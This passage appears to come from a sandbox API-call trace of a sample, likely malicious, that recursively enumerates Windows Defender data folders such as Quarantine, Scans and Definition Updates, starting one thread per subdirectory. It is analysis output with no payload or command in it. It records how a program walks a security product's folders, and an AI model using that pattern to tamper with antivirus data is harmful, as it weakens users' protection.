_Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0077.574] wcscat (in: _Dest=0x33eab90, _Source="Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" [0077.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eab90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0077.575] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 0 [0077.575] FindClose (in: hFindFile=0x34342e8 | out: hFindFile=0x34342e8) returned 1 [0077.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f56c0) returned 1 [0077.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2570) returned 1 [0077.575] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2de0) returned 1 [0077.575] RtlExitUserThread (Status=0x0) Thread: id = 732 os_tid = 0xf0c [0075.103] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cccf0 [0075.103] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features" [0075.103] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\" [0075.103] wcscat (in: _Dest=0x33cccf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*" [0075.103] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5928 [0075.103] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Features\\*", lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434328 [0075.104] wcscmp (_String1=".", _String2=".") returned 0 [0075.104] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.104] wcscmp (_String1="..", _String2=".") returned 1 [0075.104] wcscmp (_String1="..", _String2="..") returned 0 [0075.104] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.104] FindClose (in: hFindFile=0x3434328 | out: hFindFile=0x3434328) returned 1 [0075.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5928) returned 1 [0075.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0075.104] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.104] RtlExitUserThread (Status=0x0) Thread: id = 733 os_tid = 0xd24 [0075.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cccf0 [0075.105] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy" [0075.105] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\" [0075.105] wcscat (in: _Dest=0x33cccf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*" [0075.105] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5928 [0075.105] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*", lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434328 [0075.106] wcscmp (_String1=".", _String2=".") returned 0 [0075.106] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.106] wcscmp (_String1="..", _String2=".") returned 1 [0075.106] wcscmp (_String1="..", _String2="..") returned 0 [0075.106] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.106] FindClose (in: hFindFile=0x3434328 | out: hFindFile=0x3434328) returned 1 [0075.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5928) returned 1 [0075.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0075.106] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0075.106] RtlExitUserThread (Status=0x0) Thread: id = 734 os_tid = 0xa5c [0075.107] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaaf0 [0075.107] wcscpy (in: _Dest=0x33eaaf0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" [0075.107] wcscat (in: _Dest=0x33eaaf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\" [0075.107] wcscat (in: _Dest=0x33eaaf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*" [0075.107] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5928 [0075.107] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\*", lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434328 [0075.108] wcscmp (_String1=".", _String2=".") returned 0 [0075.108] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.108] wcscmp (_String1="..", _String2=".") returned 1 [0075.108] wcscmp (_String1="..", _String2="..") returned 0 [0075.108] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x366fbd4a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x366fbd4a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0075.108] wcscmp (_String1="Support", _String2=".") returned 1 [0075.108] wcscmp (_String1="Support", _String2="..") returned 1 [0075.108] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6c60 [0075.108] wcscpy (in: _Dest=0x33e6c60, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System" [0075.108] wcscat (in: _Dest=0x33e6c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\" [0075.108] wcscat (in: _Dest=0x33e6c60, _Source="Support" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Network Inspection System\\Support" [0076.614] Sleep (dwMilliseconds=0x1) [0076.621] Sleep (dwMilliseconds=0x1) [0077.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e6c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0077.576] FindNextFileW (in: hFindFile=0x3434328, lpFindFileData=0x33f5928 | out: lpFindFileData=0x33f5928*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x366fbd4a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x366fbd4a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0 [0077.576] FindClose (in: hFindFile=0x3434328 | out: hFindFile=0x3434328) returned 1 [0077.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5928) returned 1 [0077.576] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaaf0) returned 1 [0077.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b9a8) returned 1 [0077.577] RtlExitUserThread (Status=0x0) Thread: id = 735 os_tid = 0xaec [0075.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cccf0 [0075.109] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform" [0075.109] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\" [0075.109] wcscat (in: _Dest=0x33cccf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\*" [0075.109] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5b90 [0075.109] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Platform\\*", lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0075.109] wcscmp (_String1=".", _String2=".") returned 0 [0075.109] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.109] wcscmp (_String1="..", _String2=".") returned 1 [0075.109] wcscmp (_String1="..", _String2="..") returned 0 [0075.109] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.109] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0075.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5b90) returned 1 [0075.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0075.110] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34798f8) returned 1 [0075.110] RtlExitUserThread (Status=0x0) Thread: id = 736 os_tid = 0x10dc [0075.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x76) returned 0x33cccf0 [0075.111] wcscpy (in: _Dest=0x33cccf0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine" [0075.111] wcscat (in: _Dest=0x33cccf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\" [0075.111] wcscat (in: _Dest=0x33cccf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*" [0075.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5b90 [0075.111] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*", lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0075.111] wcscmp (_String1=".", _String2=".") returned 0 [0075.111] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.111] wcscmp (_String1="..", _String2=".") returned 1 [0075.111] wcscmp (_String1="..", _String2="..") returned 0 [0075.112] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.112] FindClose (in: hFindFile=0x3434368 | out: hFindFile=0x3434368) returned 1 [0075.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f5b90) returned 1 [0075.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0075.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccff0) returned 1 [0075.112] RtlExitUserThread (Status=0x0) Thread: id = 737 os_tid = 0x11d0 [0075.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479970 [0075.113] wcscpy (in: _Dest=0x3479970, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0075.113] wcscat (in: _Dest=0x3479970, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0075.113] wcscat (in: _Dest=0x3479970, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*" [0075.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f5b90 [0075.113] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434368 [0075.114] wcscmp (_String1=".", _String2=".") returned 0 [0075.114] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.115] wcscmp (_String1="..", _String2=".") returned 1 [0075.115] wcscmp (_String1="..", _String2="..") returned 0 [0075.115] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc270158c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x37aacd1b, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CleanFileTelemetry", cAlternateFileName="CLEANF~1")) returned 1 [0075.115] wcscmp (_String1="CleanFileTelemetry", _String2=".") returned 1 [0075.115] wcscmp (_String1="CleanFileTelemetry", _String2="..") returned 1 [0075.115] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x347c6b8 [0075.115] wcscpy (in: _Dest=0x347c6b8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0075.115] wcscat (in: _Dest=0x347c6b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0075.115] wcscat (in: _Dest=0x347c6b8, _Source="CleanFileTelemetry" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanFileTelemetry" [0076.614] Sleep (dwMilliseconds=0x1) [0076.621] Sleep (dwMilliseconds=0x1) [0077.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c6b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0077.578] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37ad2f56, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc2703fb5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac58c824, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CleanStore", cAlternateFileName="CLEANS~1")) returned 1 [0077.578] wcscmp (_String1="CleanStore", _String2=".") returned 1 [0077.578] wcscmp (_String1="CleanStore", _String2="..") returned 1 [0077.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347f018 [0077.578] wcscpy (in: _Dest=0x347f018, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.578] wcscat (in: _Dest=0x347f018, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.578] wcscat (in: _Dest=0x347f018, _Source="CleanStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\CleanStore" [0077.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347f018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0077.579] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1712929f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc28a95cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb3125c62, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0077.579] wcscmp (_String1="History", _String2=".") returned 1 [0077.579] wcscmp (_String1="History", _String2="..") returned 1 [0077.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd2f0 [0077.579] wcscpy (in: _Dest=0x33cd2f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans" [0077.579] wcscat (in: _Dest=0x33cd2f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0077.579] wcscat (in: _Dest=0x33cd2f0, _Source="History" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History" [0077.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0077.580] FindNextFileW (in: hFindFile=0x3434368, lpFindFileData=0x33f5b90 | out: lpFindFileData=0x33f5b90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37aacd1b, ftCreationTime.dwHighDateTime=0x1d32722, 